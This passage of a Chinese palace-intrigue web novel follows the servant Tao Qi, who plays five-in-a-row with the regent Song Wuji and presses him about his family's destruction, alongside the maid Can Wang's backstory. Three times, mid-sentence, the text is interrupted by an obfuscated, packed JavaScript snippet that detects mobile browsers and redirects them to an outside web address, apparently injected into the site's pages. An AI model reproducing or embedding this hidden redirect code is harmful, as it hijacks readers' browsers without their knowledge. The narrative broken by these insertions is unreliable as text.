宋无忌转移话头，找间隙回击：“先生的禅机打得比学生高明。” “哼！”老者拿起几上的天青色雕海棠茶盏，抿了一下，放回，忽地唉叹了口气，“那药丸有伤天合，一直用着搞不好将来再也恢复不了，白白误你十年寿命。” 宋无忌送到唇边的茶盏一顿，然后若无其事地喝了一口，没有答话。 “秋冬里药膳万万不能断，戒焦戒躁，戒酒戒色。”老者举起一根半曲的手指，于他面前点了点，“尤其是这个色，碰都不能碰，想都不要想啊。” 名唤春袭的侍婢忍不住掩唇轻笑出声，老者板着个脸，瞪她：“你笑什么，有你什么事儿，别想着勾引我学生，倒茶！” 春袭的媚眼朝老者狎昵地一瞟，不笑了，又给他倒了一杯。 宋无忌神色一冷，肃声：“我不动他，您也不要动他。” 这话说得认真，不是玩笑的意思，其余两人都看着他。 窗边漏刻发出滴滴答答的计时声，那老者默了默，举目望着房梁某处，悲怆道：“殿下长大了呀，万事都有了自己的主意。想老朽与殿下相识二十年，比那小丫头一辈子活的还长，而今竟是为了她冷语相向。教老朽心寒彻骨。不如……不如……返我初服，踏芒而归！” 此言抑扬顿挫，饱含万千感慨，两只沧桑的老眼婆娑。说罢，他撂下茶盏，举起双手朝宋无忌拱了拱，再示意春袭扶起他，竟是要走的架势。 “祝先生！” 语气居然又是万分无奈。 “坐下！” “哼，黄毛小子！”老者捡着台阶就下，推开春袭，赌气地甩了两下道袍袖子，“试试她而已。瞧，这不是试出来了吗？” “那又能代表什么？”宋无忌道。 “自然是试出了她的蠢脑子，大半夜跟着个人就走，晕头转向往主子的寝殿里冲，藏起来看床上的好戏，脸皮比城墙还厚，见着刺客也不唤人，她呀，巴不得你死呢。” “是本王不顾她的意愿买了她，关起来，打过了，饿过了，她恨我，情有可原。” 老者摇摇头，恨铁不成钢五个字写了满脸。 “那殿下下一步，计划如何炮制她？”默了几许多，老者揣着手说。 “坤道其顺乎，承天而时行。”宋无忌啜了口茶，“且看看，她之后要如何兴风作浪吧。” 老者半笑不笑，长长叹了一口气。末了，在宽袍大袖里取出一张卷曲的小纸条，似是之前扎捆起来过，还带着女子的胭脂味道。老者说：“里头那位查得的严，素乌门在宫里的暗探终于递出了消息，说十成十是冲你来的。”说着放在了案几上。 宋无忌拿起纸条，几根修长的指头一点点将其展开，动作优雅至极。 上头只一个字，小如蚊蚋，定睛细看，是一个“虫”。 “十日后小皇帝寿诞，千叶和万青不顶事，入宫之前，把那支箭带上吧。”老者站起来，幽幽道，“免得老朽无人送终。” 春袭姑娘扶上了老者，从西暖阁正门缓缓走了出去。 * 桃七三人来到墨室，把蚕望放在自己的塌上。上个月离府前，被子都没叠，现在还是一模一样，邋里邋遢的室内地上都是瓜子花生壳，气味一言难尽。桃七不好意思地挠了挠脑袋。 蚕望这时候悠悠转醒，桃七把她交给樊秋合。没说什么，自觉把地方让出来，一个人出了门。 蚕望虚弱地靠在床头，看了眼家徒四壁的屋内布置，心里一片凄惶。好在樊姐姐在身边，让她安心不少。 樊秋合擦拭了两下眼角，一迭声地责怪：“你呀，到底是哪处心窍迷了，怎么会那么傻！住一起这么久了，我竟一点也看不出你的这份心思。” “樊姐姐多年不嫁，不也是念着故乡的青梅竹马吗？”蚕望沙哑道。 妙龄女子之间，时常聊些私房体己话。樊秋合现年二十五，早已过了出嫁的好年岁，她对外称要一心在王府伺候主子，其实私底下与蚕望透露过，是因为心里放不下情郎。 “这是能相提并论的吗？他是我远房表哥，我俩青梅竹马，都是平头百姓，只是少了些缘分。可你招惹的，是大岐一人之下，万人之上的摄政王啊。虽说王爷有些凶名不尽其实，可是毕竟不全是假的。他看我们，譬如看路边的野花，你可以引诱他采撷，但他也可以把你丢在地上，无情地踏落成泥。” 樊秋合把蚕望的十根指头从她拳头里抽出来，心疼地吹了吹，拿帕子擦凝固了一半的血。 蚕望却固执地扭头，手上疼痛也一声不吭：“王爷是什么样的人，我自是知道。可我自己的命运，我要自己争取。” “可自己的性命，也得自己爱护呀。”樊秋合劝，“王爷不是良人。至少不是咱们这样做奴婢的良人。” 蚕望道：“樊姐姐，我记得我同你说过，我家里的事。” 樊秋合怔了一下，不懂她为何说起这个：“是。” “我爹祖上七八代都是蚕农。两年前朝廷对蚕丝的赋税重，加上蚕疫让我们家的收成只有原来的十分之一。为了缴税和养家里三个弟弟，父母抵了全部的桑田出去，居然还不够，只能把我卖给镇里的员外做小妾，我那时才不到十四岁……”蚕望说起往事，满心的难过，眼眶里都是泪，随着动作，泪珠晃晃荡荡的，就是固执地不落下来。 “我很幸运，在媒人上门前一天，镇上的蚕农们都说今年的赋税不用交了，大伙不用卖儿鬻女。我高兴坏了，赶紧去打听，方知是摄政王下的令，他不顾大批高官的反对，施下了免税的政令，往后若是再发生天灾，都可照此法施行，如我家一般的蚕农都道他是活青天。后面他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025114|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还杀了要侵占桑田的贪官恶吏，惩治借机发高利印子钱的商贾，开朝廷的义仓放贷，蚕农和织布的作坊得了低利的银钱，我们家才好过了许多。” 樊秋合不知朝政大事，是第一次听说，感慨道：“王爷心里是装着黎明百姓。” 蚕望续道：“好不容易缓过了灾年，又过了一岁，我该出嫁了，可是物色来物色去，我爹娘居然还是要把我卖给员外做小妾。” 樊秋合千万般地难以置信：“为何如此，你家不是好起来了吗？” “哼，还不是因为那员外出的价最高。与其把我许给镇上的穷小子，不如给个六十多岁的老头子，他们说他老婆刚死，劝我忍两年，等他也死了，可以继承他的田庄和银票。” 世上的父母，大多都是盼着子女好的。可父母也是人，一旦见识了富裕人家的气派，便很难瞧得上其他的了。蚕望的父母，应是从去岁打算卖她时，就没止过这念头。 “我说我不愿意，哭闹了几次。他们就瞒着我去找媒人。还是被我发现了，我想，与其卖给老员外，不如把自己卖给这天底下最有权势之人，所以半夜收拾了细软，偷了家里的户籍簿子逃了出来，找了牙婆，求她把我卖给摄政王府，得的银钱对半分。” 樊秋合：“可你说过你是……” “不错，不是我父母把我卖到王府来的，我是自己把自己卖进来的。”蚕望抹了抹眼睛，抽了两下小巧玲珑的琼鼻，“我一直以为自己是贫贱的养蚕女，可我的爹娘，他们只是把我当成一条蚕，和罩子里养的没什么两样，会吐丝，会结茧，养个一年半载地就能抽丝卖钱。只不过我长得大一点，生的好看一点……” 樊秋合说不出话来，久久握着蚕望的手腕，怜惜不已，长长地叹气。 良久，樊秋合道：“毕竟做了错事，若不是桃小哥为你说情，你今日不死也残了，回头与我一同感谢人家。” 提起那登徒子，蚕望万万分地不服气：“那人油嘴滑舌的，我瞧都瞧不上，你没听到，他……他还那样诋毁我！他还说，今天晚上要……要……” “说你糊涂，还真是糊涂到家了，”樊秋合点了点她的额头，“那都是权宜之计，为的是免你受刑啊。” 蚕望嘟起了两瓣尚未恢复气色的唇：“我就不信他对我没那些龌龊心思，且看着吧，他今天要是敢对我做什么，我就……”她四下看了看，想找个剪子之类的利器，可是墨室里简直能用家徒四壁来形容。 “你还是想想以后怎么在府里过下去吧。”樊秋合恨铁不成钢。 娇美侍女的贝齿咬着嘴里的软肉，倔强地不说话。 “王爷亲口下的令，你只能呆在桃小哥住的墨室，可千万别出去，眼下只有他住的地方是安全的。我回去给你拿点衣服、伤药和晚间要用的东西，一会儿就回来，你乖乖的，昂。” 不顾蚕望的挽留，樊秋合出去了。蚕望拔出头上的银簪子，在地砖上磨了一阵，咬牙切齿地用了十分力道，磨得尖尖的，预备等桃七一进来，就拿起来架到那登徒子的脖子上，实在不行就自己脖子上，他要是敢碰自己一下，她就自尽！ 可登徒子一整晚连来都没来。 王府的主子一句话，又将他提去了西暖阁。 28.破围局五目再连珠 桃七返回西暖阁，正是夜半昏时，专司点灯的仆役将灯笼钩下来，取出里头的烛火点上，动作熟稔，一点声响也没有发出来，怕惊扰到里头的主子。 桃七在屋外通报后，得了准入的信儿，跺了跺足底的泥巴，聊胜于无地整理了下衣领子，才敢迈脚进去。西暖阁里里，檀香袅袅，烛火幢幢，博古架上是御赐的宝物和古玩，桌案上置着笔山、墨砚、水中丞、几叠奏折随意摊着，丈余宽的堂下只放了青瓷卷缸，显得空旷。明明是同一个地方，可桃七觉得与白天时大不一样，若只一个人长久呆在里头，也太过孤寂了些。 朝北的一面墙是书架，上头满是藏书与卷宗，朝南的窗户关着，纱帘子闭合，挂着一副工笔仕女图。 那是个全身像，绘制十分精细，女子衣着烟粉色海棠云绣纱裙，头顶挽了个仙气飘飘的飞天髻，发丝根根分明，垂落下来长及腰际，一双白皙的素手交叉放在小腹前，指甲也闪动着光泽，似乎要活过来一般。观察纸张的状态，这幅画应该已经画了数年了，必定耗费了作画者大量的时间和心血。可惜，画中女子独独缺了一双眼睛。 常言道，画龙点睛，也许作画者正是怕画出灵动的双眸后，女子突然活过来，脱出画框，飘然而去，再也不受控制了。 宋无忌书房内居然还有这么一幅画，难不成是他的心上人？ 可桃七觉得画中人有种怪异的亲切感，又说不上来。 因为没有眼睛，缺少了极大的一个分辨标志。但他一定是在哪里见过这名女子的。 非要说的话，他看到这幅画的第一眼，就想起了自己的娘亲。 那可太毛骨悚然了！ 哒、哒、哒，细绢绸面屏风后面，发出了几声敲击。桃七可太熟悉宋无忌手里无时无刻发出的这死动静。 又不是和尚，一天到晚地捻佛珠，怕死了下地狱，所以提前给自己赎罪吗？ 桃七甩了甩脑袋，将杂芜的思绪遣散。深呼吸，小步快走，靠近屏风背面时，又胆怂了，只敢微微探头看一眼。 宋无忌端坐在方正的黄花梨矮几前，朝服已褪了，着的是一袭帝释青的湖锦直缀，体态提拔，腰带束得紧，勾勒出一截劲瘦的腰肢，显得比平日里清癯了许多。檀珠放在一边，正在一个人下棋，左黑右白。原来那哒哒作响的声音是棋子敲击棋盘造成的。 宋无忌眼一点没抬，余光瞥到个鬼鬼祟祟冒出的脑袋，道：“滚进来。” “王、王爷……”桃七猫着腰往前走，终是达成了一天内主子召见两次的殊荣。 宋无忌薄薄的眼皮掀起，瞭了他一眼，像毒蛇打量猎物。眼下，任桃七喉头再发达，嘴皮再灵活，也不敢造次。 前几次那都是紧要情况，若是平常，在宋无忌面前他是千万分的谨小慎微，一个字也不敢多说，一点小动作也不敢多做的。 宋无忌把白子的棋篓往他那边一推：“天色尚早，不如来对弈一局。” 桃七愕然，回过神来，吐吐舌头，笑嘻嘻地说：“王爷太抬举了，属下哪里会下棋。” “那就下五个子的连珠棋。” 连珠棋有三目，五目，七目之分，规则十分简单，只需同样颜色的棋子排成一列就算赢。为稚童间的启蒙益智游戏，宋无忌这般老阴谋家应当是不屑玩的。 他居然为了跟桃七下棋，屈尊下此等幼稚的棋，难不成是真寂寞到一定程度了？ “那属下也是臭棋篓子，在王爷手底下坚持不了几回合。”桃七继续推。 桃七这幅伏低做小卖乖的模样，一开始还挺有意思，看久了，宋无忌便感到乏味。连番被拒，他眼神如刀，一瞟过去，桃七恰似那丛林中的狗獾，被真正的猛虎盯上，瞬间怂包。 “得嘞！”桃七赶紧滚过去坐下。 宋无忌随手将棋盘上的十几个子扫到一旁，也不去管，一颗黑子当即就落在了天元。 围棋老手第一步死也不会下正中，连珠棋就无此讲究，越中心越好。然四野无一颗棋子与它作伴，空荡荡、孤零零的，又似毫无屏障可依，四面受敌，危机重重。 桃七斯斯文文捻起一颗白子，两指夹着，怕自己的脏手污染了雪白的棋子似的，也没做什么思考，落在了那黑子旁边。 一黑一百，宛若两级，均衡和谐，相依相惜，只可惜，到最后，注定会成为对方的拦路虎、绊脚石…… 不死不休。 咔哒、咔哒、咔哒、咔哒…… 一颗颗黑棋落下，一粒粒白气不甘示弱，时而在黑子身边使绊子，时而似在酝酿什么阴暗计谋，落在了稍远一些的地方，预备在将来某个不经意的时间点，猝然冒出来，反将一军。 咔哒、咔哒、咔哒…… 眼前的棋子，耳边的声响，在烧着熏香的暖阁里，氤氲着让人昏昏欲睡的气息。桃七的眼皮子垂落下去，可手中的动作又不能停下，只能一下下地拿棋，落子。一切都越来越模糊，不知为何，遥远记忆中的某个片段忽地泛了出来。 许多许多年前，桃七还是个娇滴滴的千金小姐，也同一位少年下过连珠棋。地点也很特殊，是在赶赴入京的路途中。为派遣旅途寂寞，父亲的马车里，备有一副围棋。五岁的千金小姐对围棋自是不感兴趣的，要玩也是玩儿五目的连珠棋。 不记得具体地点，只知是个晚间，他们的马车为了躲避什么，急速奔波了四五个时辰，人困马乏，十分疲惫。车夫将马车停在一处偏僻的林间，拿出草料喂马。颠簸多时，车里的人下去了，父亲也下了马车，取了所剩不多的干粮分给众人。而那个少年，却呆在马车里，取出座椅下小屉子里的黑白棋子摆弄起来。 棋盘之上，摆了五粒白子，男子、美妇、女孩、少年和车夫，而白子四周，距离仅仅三四格的距离，无数黑子团团包围，好比一片肃杀的黑骑，潜隐着，预备将他们吞吃。 少年一动不动，盯着无解的棋盘，一颗子也不动弹，像在纯粹等待，满心满眼，唯有绝望。 “你会不会玩儿？”马车帘被女孩高高抛起来，女孩登登两步跳上马车，凑上去看了两眼少年精心绘制出的棋盘局势，抓起一颗白棋，下在某个空的格子里，欢呼：“五颗，赢了！” 话音未落，女孩小手臂一扫，棋盘上大片黑子扫落在椅垫上，风卷残云一般，这一局，五粒连在一起的白子将几十颗虎视眈眈的黑子全部吞吃。 少年怔怔望着，须臾后，竟是笑了。 谁说规则一定是那样的？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15029098|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁说被包围的就只能是呆宰割的牲畜？ 不到最后一刻，谁能言无路可走，无力破局？ 可，仅剩的五颗白子都已在台面之上，那第六颗白子，何时会出现呢？ 后面，女孩来了兴致，拉着他下了四五局，连珠棋一局结束得快，每一次都是那少年赢了，而女孩也聪颖异常，一次比一次让他赢得艰难，兴到酣处，少年甚至短暂忘记了他与母妃正在亡命途中。 直到惊马四起，棋盘连着无数黑的白的棋子滚滚砸落，刺耳的抽鞭声一响起，一行人仓皇钻入马车，夺命奔袭。 是亡命绝境，还是逃出生天？答案不在棋盘之上。而在人心，在时而和善、时而丑恶，无法琢磨，不可预知，扭曲做怪的人性。 啪！ 一粒黑棋，落在短短的两排白棋即将交汇的中心。 白子被断了生路，而黑子，竟已是七目连珠，大势已成，汹汹列阵，势不可挡。 像石灰抛洒进水，似清水滴入油锅，在心里轰然作响，滚滚而沸。 若那少年活到现在，该是二十三四岁的好年华。 宋无忌，你与那少年，和那金钗的主人，又是何关系？ 太极殿前求旨意斩我姚家上下一百多口的是你，投千万敌军头颅以求破城的是你。 为救矿村百姓当庭斩杀三位一品大员的是你，京兆尹付替我抗下杀人罪名的是你，暗中遣侍卫看护的也是你。 人性可以是复杂的，但不能是矛盾的。 他到底，为的是什么？ 这一局，是桃七输了。 可扫落棋盘的那只手，迟迟没有落下。 或许还有什么鬼蜮小伎俩能帮他逃出去，捡一条性命，留待下次，再启一局！ “说说吧，这阵子在外头办差，有什么收获吗？”宋无忌撩了撩袖子，一粒一粒地把盘中的棋子捻了回去。 桃七的手脚从未摆得如此端方，言语也无比地正色：“王爷明面上命我留在拍卖场里收集情报做大做强，实际却是安排了人，引诱我去调查五年前北川矿场一案。用心良苦，桃七佩服。” 宋无忌有些意外地看了他一眼，莞尔：“你也还懂得发展自己的势力，以微薄小利驱使旁人为自己做事，也让本王刮目相看。” 提及此，桃七便快人快语道：“桃七想向王爷讨四五个侍卫中的好手，替我保护我的账房先生免受他仇家上门寻衅。” “可以。”宋无忌答应得如此干脆，让桃七意外。 “再给他点银子，不多，十两就够了，我和他分一分。”桃七乘胜追击。 “可以。” “举辉堂空着也是空着，就给他长住。” “可以。” “地下拍卖场的事务由他全权代理我去做，他也算为王爷办事的人了，若来日遇上了麻烦，王爷可否做他的荫庇。” “可以。” 最后一个要求，桃七提得不是很自信，所以用的是商量的语气，可宋无忌依旧爽快应下了。 桃七状似无意地问：“王爷何以对我如此宽仁？” “早就同你说过了，”宋无忌撩起眼皮，语调轻而凝定，“小七是本王心尖上的人。” 29.终大败雠仇释心扉 桃七闻言，太阳穴深处一根青筋突突狂跳，往日修炼出的比城墙还厚的面皮，在宋无忌和蔼到邪门凝视下，差一点就要一溃千里。 “额呵呵呵咳咳咳……”桃七发出一阵分不清是笑还是咳的诡异动静，终于从奇怪的心绪里抽离出来。 “王爷厚爱，属下实在是受之有愧。” “本王抬举的人，不可妄自菲薄。”黑棋归位完毕，宋无忌又去收白棋。 “不敢劳动王爷大驾。”桃七马上动手将一片白子拢到面前，飞快地倒进了棋奁里，盖上盖子。 宋无忌两指再度探进了黑棋奁里，又取出一颗落于棋盘之上。 还下！？ 桃七只能奉陪到底，不情不愿掀开盖子，白子紧紧黏上去。若不是宋无忌放水，上一局他已经死了七八回了，这次可要提起精神头来，不然宋无忌以为自己为拍马屁成心让着他。 连珠棋不及围棋策略复杂，但不减变化多端，需要强大的战略眼光、大局意识、和足以预测敌手后几步的谋略。据说真正厉害的圣手，能看到百手之外。 不过一局才开时，思考过多亦无用处，未几，棋盘上便已布了十余子。 桃七肥着胆子偷偷扫了他几眼，只见宋无忌左手搭在膝上，食指有一下没一下地上下敲击，屋内檀香蔓延，暖意融融。那串黑乎乎的檀珠搁在红酸枝木托盘里，高高低低的烛火在他背后稳稳地燃烧，烛光照出一轮清癯男子轮廓，面容几乎融入进了光影之中，把那深邃起伏的眉目，高挺的鼻梁，薄唇窄颌，都无限模糊了。 不知为何，桃七错觉今晚的摄政王比平日里年轻了不止一星半点。 就一晃神的功夫，桃七的白子便落于下风，心弦一紧，不得不被动应对。 再一次将黑子禁锢成死四，白子也成了边陲孤棋，无法与中央呼应打通出路。觑着宋无忌心情不错的样子，桃七再度开口，矮声道：“既然有幸得王爷赏识，属下能否再向王爷讨个赏？” “讲。”黑子无情下落。 “求王爷让蚕望姑娘回去，仍旧做个乙等侍婢。”桃七小心翼翼地说。 宋无忌看着他，不答话。桃七被他这么盯着，十分煎熬，好久之后，宋无忌才将眼神扫向棋盘，原来是在催他落子。 桃七随意挑个顺眼的点位撒开捏了半天的白子：“王府上下皆知小的今日夺了人家清白身子，想必她已绝了念头，再不敢把主意打到王爷头上。” 黑子落于一个遥远的、意想不到的位置。看似是步闲棋，却暗暗与其余三子渐成玲珑犄角。 “不过是个十五六岁如花似玉的小姑娘，发卖出去的话，也罚得太重了。王爷就当他情窦乱开，招惹了一下贵人，说到底，还是王爷英名广传，魅力无边的缘故。” “可以。”这已经是宋无忌连应的第五个条件了。 如此轻易就许了他，反倒让桃七心里打鼓。 白子转而专注于自己的一亩三分地，冲四以攻为守，一门心思破黑壁，往边缘求生。 “谢王爷。”桃七低头一揖，“不过，您不怕那女子真是细作？” 宋无忌再次出手，一黑子放出去，桃七扫眼过棋盘，才发觉自己漏了阴线处那要命的活三，宋无忌一子连成了四目，不论桃七下一颗落于何处，这一局再回天乏术。 桃七屏息而坐，发鬓处冒出细密的汗珠，明明是稚童的游戏，居然让他感到诡谲的凶险，若灾厄悬于颈项，步步杀机。 桃七眯了眯眼，白子没有被那一手封住攻势，速速占据原本计划的地方，假装没看出黑子的先机。 死就死吧，偏不让你得意！ 然而，黑子再下了一目，居然将那处桃七遗漏的活四放过了，返回中原，去扼那白子的命门。 “府内所有下人，在入府之前，本王都会将他们的背景调查得一清二楚。”宋无忌掀起眼帘看他，“难不成，小七质疑本王的能力？” 轻飘飘的一问，意味无限深长。 所有下人，他都调查了个底朝天，那么桃七自己呢？自然也一样，他的来历早就如一张白纸一般，展露在摄政王的眼皮子底下了！ 桃七便是他在棋盘上放过的那一目。不是忽略了这一处杀招，不是善意大发要放他一马，目的，不过是让游戏持续得再久一点。 想通了这一点，桃七敛眸，两指一松，白子咔哒一声落于棋奁中。 “王爷高瞻远瞩，深谋远虑。属下不及王爷万一，这局，我又输了。” 他竟然是认命了，宋无忌眉心微微一动：“尚未到最后，怎地提前言败？” “人力无法扭转大势，以属下的浅薄棋艺，都已算到两手之内，执白者再无力回天。” 认输认得干脆，可宋无忌并不“认赢”，夹着黑子的两指继续往前举，仔细看，那两指间的茧并不比桃七做五年手艺活留下的薄。 “小七也该看清楚，自己输在哪里。”说着，竟是继续落子，不在黑子活四的位置，不在白子颓势初显的中央，而是桃七从始至终毫无防备的中腹，黑子居其位，一子双杀！ 桃七此刻方才一窥全局，背脊骤麻！ 四条阴线，四面围杀，两面冲四，两面活三，黑棋步步潜伏，十几步前的每一次落子都有深意，生生将白子全数断成了死二，唯有几处小得可怜的白地，纵使填满了也无法成势，中腹大片散乱的白子，与天元附近搭建的白色领地全盘失联！ 连珠棋还能这么下？ 既是五目连珠，又像是围棋，还像叶子戏，四道凑一起就是个“炸”！ 桃七整个人一震，以跪坐着的姿势，重心往上一提。 宋无忌的棋风，与他为人为官大不相同，没有悍烈的猛攻气势，没有冷冽的针针见血，而是润物细无声地将人温柔围住，让猎物以为能凭一些小伎俩逃跑，最终却发现，天罗地网远比他看到的庞大结实一万倍。 认输，的确认早了，因为他还不懂，自己输到了何种地步。 “呵呵……哈哈哈哈……”望着残酷的棋局，桃七居然笑出了声，被连珠棋逼疯的感觉，原来是这样的。 可笑，可耻。 可悲，可怜。 说的是他被眼前的男人买下的这两个月，他的言行举动，精心的伪装，逃跑的努力，全部都毫无意义。 一想到自己在他的眼皮底下作痴扮傻的蠢样，桃七就恨不得抽自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15046417|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己几巴掌。 而他居然试图与这样的人交锋，甚至幻想有一天能复仇。 浓浓的绝望弥漫上心头。 “那便打开天窗说亮话吧。”桃七执棋的手紧握成拳，脊背挺直，正视男人，是个彻底摊牌的架势。 宋无忌拿起了檀珠。 “为何在举辉堂花那么多钱买我？” “出价高，便无人敢追。”宋无忌应，语气无甚变化。 “你以为我值这么多吗？”桃七显然不信。 “于本王而言，五千两黄金与五文钱无甚差别。” 桃七狠狠噎了一下，好吧，就当他财大气粗。 “为何陈茂，也就是那天举辉堂门口的伙计，会一眼便认出我来？” “应是他自己提前调查过你，或是调查过姚府上下所有人。” 桃七低眸思索片刻，暂时接受了这个解释：“那为何他一见我，立马就去给你通风报信？” “投名状，”宋无忌凉飕飕道，“他以为我想让你死，卖我个消息。” 五年前抄家灭族的姚府余孽还活着，这个消息，对于灭他们的摄政王来说，果然是顶顶好的投名状。这一行为因果联系毫无漏洞，桃七根本无法反驳。 “你与余花魁是什么关系？”下个问题来得快，宋无忌手里的动作都顿住了一瞬。 也只是微不可察的一瞬，便听他淡淡吐出两个字：“琴友。” 桃七微哂：“没有别的？” “小七想打听什么？”宋无忌笑看他，眼神灼灼郎朗，坦坦荡荡。 桃七反倒先怯了，眼珠子低了下去，急急在眶里转了两圈，抬头：“入府第一晚，带着我去刺杀现场的那个侍女，是谁？她又是怎么一回事？” “自是本王特意安排的。算准了你要走，派她去将你绊住。你既已发现了刺客，便将你带去主殿‘本王’歇息处，看看你的反应。” 果真步步是局，处处落网。桃七一边悔恨自己的愚蠢，一边痛骂宋无忌的阴险。 “主殿榻上被杀的，又是何人？” “那男子是如你一般的地痞无赖，市斤恶棍，欺男霸女，死不足惜。”宋无忌轻飘飘道。 “那女子呢？” 宋无忌这次的停顿，比刚才更明显一些。 “那女子呢？”桃七又问，目色殷切，更像是质问。 宋无忌突然间有了一个念头，居然自己也有被堵得哑口无言的时候。 那女子无甚错处，不过是前两日买进府里的青楼女子罢了。以为被堂堂摄政王看上买入王府，以后就是王爷的妾室，飞上枝头，一辈子富贵无极。岂料被“王爷”召见的第一晚，就是魂归命丧之时。 “都是千叶安排的，本王不管这些。”宋无忌口吻寒凉，“回头你自己去问他。” 想想宋无忌也不会刻意记住替死鬼的名号，摄政王府里也不止残害这一条性命了。桃七压下了心底的不平，咬了咬牙，下颌的肌肉都鼓动了两下。 “最后一个问题，”烛火晃动，沉闷如一滩死水的暖阁内，却有微风拂过，扬起少年额前几丝墨黑的散发。 “你与我姚府，到底有什么仇？” 30.备宫宴桃七受抻练 微风止息，这样力道的风，烛火还是熄了一支，沿着长长的铜柄，一滴又红又厚的蜡油往下无声垂落。 “你不是决心去重查旧案吗？”宋无忌给自己倒了杯大红袍，稳稳端到唇边，咽下时喉结细微攒动，“慢慢来吧，能查到什么地步，就看你的本事了。” 见他不打算回答，桃七内心的鼓噪和嫉愤暴涨。 野蛮生长的五年，他的脾性难免沾染了地痞无赖的乖戾，可也清楚，眼下不能任由情绪失控。二人已经几乎将所有阴私摊开来，一分一厘地掰扯了一遍，就差拿起家伙什去拼命。坏就坏在自己毫无筹码，小命以不知多少种方式捏在对方手心里。所以他不能掏家伙拼命，反倒还得竖着尾巴摇起来讨好人家。 他以极大的意志将不满压制到了无痕迹。否则自己恨怒交加，对方却好整以暇。性命已经捏在别人手里，至少情绪不能再沦陷。 除了最后一问，宋无忌今晚对他几乎有求必应、有问必答，前两个月对自己的态度也极为耐人寻味。今日屈尊与他平起平坐，于一张棋桌两侧对弈，这些都能推断出，自己这姚府唯一余孽的身上一定有宋无忌想要索取的东西，故而暂时不会要了他的小命。 事前并未想到今晚会谈及这些，临时起意，思绪难免混沌，还有许多疑惑没有出口，例如他为何救下矿村，陈茂喂自己药丸的事是否知情，这些都可留待日后慢慢探听。 然，满心困惑之中，唯有假金簪莫名出现一事，不敢问。 五年前的替身代死，伪装出逃，教宋无忌知道了，大不了铡刀断脖，两腿一蹬，全当睡了个弥天大觉。 可十三年前，与父亲入京途中，搭救一对落难母子的往事，桃七不敢吐露一个字。那不止关系到自己的小命，更关涉皇室肮脏的秘辛以及父亲身后之名。他不想来日卷宗重启，非但不是为姚府翻案，而是再记上一笔更厉害的戕害宗室的罪名。 窗台边的铜壶滴漏浮箭整体浮于水面，宛如沉寂的真相逐渐昭示于郎朗明堂。桃七方觉子时早已过了，整座王府清寂无声，似一座繁华却阴森的坟墓。 “王爷，天色已晚，属下……还能告退吗？”若是宋无忌打算今晚就结果了他，也不奇怪。 “回你的墨室？” 带笑的声音响起，含着淡淡的玩味之意。 桃七也笑：“不了，夜半惊扰美人安眠，反倒不美了。” 宋无忌放下茶盏，清瘦的五指指节修长如玉，手背有经络凸起，姿态优雅至极。今夜，他如孤松、玉山、江月，就是不像当朝的摄政王，他问：“那你要去哪里？” 桃七沉默。 桃七的确没有屋子住了，但这难不倒他，廊前、树下、凉亭，总能凑合一夜。 “就不劳王爷费心了。”桃七起身，语意微凉，还不忘加一句，“放心，我不会逃跑的。” 说罢转身，也不顾那些虚礼了，宋无忌背着他，定定坐着，沉声道：“本王还没交代你下一个任务，你不准走。” “下一步？是什么？”桃七回头。 “十日后，皇帝陛下十六岁诞辰，我要你随本王入宫参加贺宴。” * 第二日，天灰蒙蒙亮，桃七才从西暖阁里鬼鬼祟祟出来。 昨夜宋无忌才说要自己随他入宫赴宴，拒绝都来不及，宋无忌就起身，吩咐桃七一整晚收拾盘中的棋子，不到天亮不准出去。说完他自己离开了西暖阁。 收棋子哪里需要这么久，目的还不是将他困在里头不让出去。从前以为人鬼莫测的摄政王宋无忌，来来去去三板斧，只知道关人、饿人、盯人。不过还真好用，连消带打把桃七治得服服帖帖。 棋子收拾完，他也不敢去动暖阁里其他东西，趴在案几上睡了一夜，到底睡不安稳，第二天天不亮就醒了。 可再怎么说，把他关在西暖阁一整晚，也有点诡异。昨日巳时，蚕望送药膳擅闯，就被捉住大刑伺候，当晚桃七在里头呆一夜算怎么回事？要是侍卫不知情，瞅见他天不亮便偷感十足地从里头出来，二话不说，也把他抓起来先上刑，那他有无数张嘴也说不清。 幸运的是，门口的侍卫看见了他也当没看见。他主动解释两句，人家还嫌他烦，一脸快走快走的表情。 王爷赏了桃七一名绝美侍婢的消息一天之内传遍王府上下。出了西暖阁回去的一路，遇见的小厮仆役都朝他嘻嘻笑，遇到的女婢嬷嬷都用鄙夷的眼神斜他，再低调也低调不了。 桃七捂着脸往墨室冲，身后搬花的小厮揶揄地喊：“七哥儿入洞房去喽！” 背后哄堂大笑。 墨室大门开了一条小缝，里头美人已离去。桃七大大松了一口气，躲进去倒在自己的狗窝里睡了个酣畅淋漓。 * 